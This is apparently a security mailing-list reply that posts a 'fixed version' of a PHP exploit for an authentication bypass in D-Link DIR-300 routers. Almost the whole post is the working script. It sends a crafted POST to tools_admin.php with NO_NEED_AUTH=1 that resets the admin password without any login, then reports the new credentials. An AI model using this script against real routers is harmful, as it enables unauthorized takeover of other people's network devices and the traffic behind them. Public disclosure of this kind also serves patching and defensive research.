Re: D-Link DIR-300 authentication bypass

[Karol Celiński <karol () celin pl>]

On some versions of the firmware, exploit says that "something goes
wrong" despite of password change is successfull. There is a fixed
version:

---cut here---
<?php
if(sizeof($argv)!=4) {
   echo "Usage: php5 $argv[0] <router ip addres> <port>
   <admin password>\n";
   exit;
}
$ch=curl_init();
curl_setopt($ch, CURLOPT_URL, "http://".$argv[1]."/tools_admin.php";);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_PORT, $argv[2]);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch,
CURLOPT_POSTFIELDS,"ACTION_POST=LOGIN&LOGIN_USER=a&LOGIN_PASSWD=b&login=+Log+In+&NO_NEED_AUTH=1&AUTH_GROUP=0&admin_name=admin&admin_password1=".urlencode($argv[3]));
echo "+ starting request\n";
$out = curl_exec($ch);
if($out===false) {
   echo "- Error: could not connect (
   http://$argv[1]:$argv[2]/tools_admin.php).\n";
   exit;
} else
echo "+ request sended\n";
curl_close($ch);
if(stripos($out,"login.php")===true) {
   echo "- something goes wrong (check answer - answer.html) !\n";
   $f=fopen("answer.html","w"); fwrite($f,$out); fclose($f);
   exit;
}
else
   echo "+ ok, now you can login using l: admin p:$argv[3]\n";
?>
---cut here---
